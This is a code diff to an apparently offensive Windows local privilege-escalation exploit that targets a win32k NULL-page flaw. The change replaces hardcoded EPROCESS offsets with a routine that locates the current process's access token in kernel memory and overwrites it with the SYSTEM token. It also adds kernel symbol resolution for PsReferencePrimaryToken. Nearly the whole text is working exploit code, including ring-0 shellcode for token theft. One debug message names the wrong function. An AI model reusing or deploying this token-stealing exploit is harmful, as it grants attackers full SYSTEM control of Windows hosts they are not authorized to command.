@@ -38,6 +38,10 @@ typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
38
38
OUT PVOID Process
39
39
);
40
40
41
+ typedef PACCESS_TOKEN (NTAPI * lPsReferencePrimaryToken )(
42
+ _Inout_ PVOID Process
43
+ );
44
+
41
45
typedef NTSTATUS (NTAPI * lZwQuerySystemInformation )(
42
46
_In_ DWORD SystemInformationClass ,
43
47
_Inout_ PVOID SystemInformation ,
@@ -70,9 +74,9 @@ BOOL bHookCallbackFlag = FALSE;
70
74
71
75
WNDPROC lpPrevWndFunc ;
72
76
DWORD dwMyProcessId = 0 ;
73
- DWORD dwOffsetWindows = 0 ;
74
77
75
78
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL ;
79
+ lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL ;
76
80
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL ;
77
81
78
82
#ifdef DEBUGGING
@@ -131,16 +135,55 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
131
135
#endif
132
136
}
133
137
134
- int _stdcall shellcode_ring0 (int one , int two , int three , int four )
138
+
139
+ // Search the specified data structure for a member with CurrentValue.
140
+ BOOL find_and_replace_member (PDWORD pdwStructure , DWORD dwCurrentValue , DWORD dwNewValue , DWORD dwMaxSize )
135
141
{
136
- void * my_process_info = NULL ;
137
- void * system_info = NULL ;
142
+ DWORD dwIndex , dwMask ;
143
+
144
+ // Microsoft QWORD aligns object pointers, then uses the lower three
145
+ // bits for quick reference counting.
146
+ #ifdef _M_X64
147
+ dwMask = ~0xf ;
148
+ #else
149
+ dwMask = ~7 ;
150
+ #endif
151
+ // dwMask out the reference count.
152
+ dwCurrentValue &= dwMask ;
138
153
139
- pPsLookupProcessByProcessId ((HANDLE )dwMyProcessId , & my_process_info );
140
- pPsLookupProcessByProcessId ((HANDLE )4 , & system_info );
154
+ // Scan the structure for any occurrence of dwCurrentValue.
155
+ for (dwIndex = 0 ; dwIndex < dwMaxSize ; dwIndex ++ )
156
+ {
157
+ if ((pdwStructure [dwIndex ] & dwMask ) == dwCurrentValue )
158
+ {
159
+ // And finally, replace it with NewValue.
160
+ pdwStructure [dwIndex ] = dwNewValue ;
161
+ return TRUE;
162
+ }
163
+ }
141
164
142
- * (PDWORD )((PBYTE )my_process_info + dwOffsetWindows ) = * (PDWORD )((PBYTE )system_info + dwOffsetWindows );
165
+ // Member not found.
166
+ return FALSE;
167
+ }
143
168
169
+ int _stdcall shellcode_ring0 (int one , int two , int three , int four )
170
+ {
171
+ void * pMyProcessInfo = NULL ;
172
+ void * pSystemInfo = NULL ;
173
+ PACCESS_TOKEN systemToken ;
174
+ PACCESS_TOKEN targetToken ;
175
+
176
+ pPsLookupProcessByProcessId ((HANDLE )dwMyProcessId , & pMyProcessInfo );
177
+ pPsLookupProcessByProcessId ((HANDLE )4 , & pSystemInfo );
178
+
179
+ targetToken = pPsReferencePrimaryToken (pMyProcessInfo );
180
+ systemToken = pPsReferencePrimaryToken (pSystemInfo );
181
+
182
+ // Find the token in the target process, and replace with the system token.
183
+ find_and_replace_member ((PDWORD )pMyProcessInfo ,
184
+ (DWORD )targetToken ,
185
+ (DWORD )systemToken ,
186
+ 0x200 );
144
187
return 0 ;
145
188
}
146
189
@@ -169,61 +212,6 @@ void win32k_null_page(LPVOID lpPayload)
169
212
return ;
170
213
}
171
214
172
- #ifdef _M_X64
173
- if (versionInfo .dwMajorVersion == 6 && versionInfo .dwMinorVersion && versionInfo .dwMinorVersion == 1 )
174
- {
175
- // Ex: Windows 7 SP1
176
- dprintf ("[*] Windows 6.1 found..." );
177
- dwOffsetWindows = 0x208 ;
178
- }
179
- #else
180
- if (versionInfo .dwMajorVersion == 6 )
181
- {
182
- if (versionInfo .dwMinorVersion && versionInfo .dwMinorVersion == 1 )
183
- {
184
- // Ex: Windows 7 SP1
185
- dprintf ("[*] Windows 6.1 found..." );
186
- dwOffsetWindows = 0xf8 ;
187
- }
188
- else if (!versionInfo .dwMinorVersion )
189
- {
190
- // Ex: Windows 2008 R2
191
- dprintf ("[*] Windows 6.0 found..." );
192
- dwOffsetWindows = 0xe0 ;
193
- }
194
- else
195
- {
196
- dprintf ("[!] Unsupported Windows 6.%d found, only 6.0 and 6.1 supported atm" , versionInfo .dwMinorVersion );
197
- return ;
198
- }
199
- }
200
- else if (versionInfo .dwMajorVersion == 5 )
201
- {
202
- if (versionInfo .dwMinorVersion && versionInfo .dwMinorVersion == 1 )
203
- {
204
- // Ex: Windows XP SP3
205
- dprintf ("[*] Windows 5.1 found..." );
206
- dwOffsetWindows = 0xc8 ;
207
- }
208
- else if (versionInfo .dwMinorVersion && versionInfo .dwMinorVersion == 2 )
209
- {
210
- // Ex: Windows 2003 SP2
211
- dprintf ("[*] Windows 5.2 found..." );
212
- dwOffsetWindows = 0xd8 ;
213
- }
214
- else
215
- {
216
- dprintf ("[!] Unsupported Windows 5 found, only 5.1 and 5.2 supported atm" );
217
- return ;
218
- }
219
- }
220
- #endif
221
- else
222
- {
223
- dprintf ("[!] Major Version %d found, not supported" , versionInfo .dwMajorVersion );
224
- return ;
225
- }
226
-
227
215
// Solve symbols
228
216
dprintf ("[*] Solving symbols..." );
229
217
@@ -321,6 +309,18 @@ void win32k_null_page(LPVOID lpPayload)
321
309
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId )((DWORD_PTR )pNtBase + ((DWORD_PTR )pPsLookupProcessByProcessId - (DWORD_PTR )hNtKrnl ));
322
310
dprintf ("[*] pPsLookupProcessByProcessId in kernel: 0x%p" , pPsLookupProcessByProcessId );
323
311
312
+
313
+ pPsReferencePrimaryToken = (lPsReferencePrimaryToken )GetProcAddress (hNtKrnl , "PsReferencePrimaryToken" );
314
+
315
+ if (pPsReferencePrimaryToken == NULL )
316
+ {
317
+ dprintf ("[!] Failed to solve PsLookupProcessByProcessId" );
318
+ return ;
319
+ }
320
+
321
+ pPsReferencePrimaryToken = (lPsReferencePrimaryToken )((DWORD_PTR )pNtBase + ((DWORD_PTR )pPsReferencePrimaryToken - (DWORD_PTR )hNtKrnl ));
322
+ dprintf ("[*] pPsReferencePrimaryToken in kernel: 0x%p" , pPsReferencePrimaryToken );
323
+
324
324
dwMyProcessId = GetCurrentProcessId ();
325
325
326
326
// Register Class
0 commit comments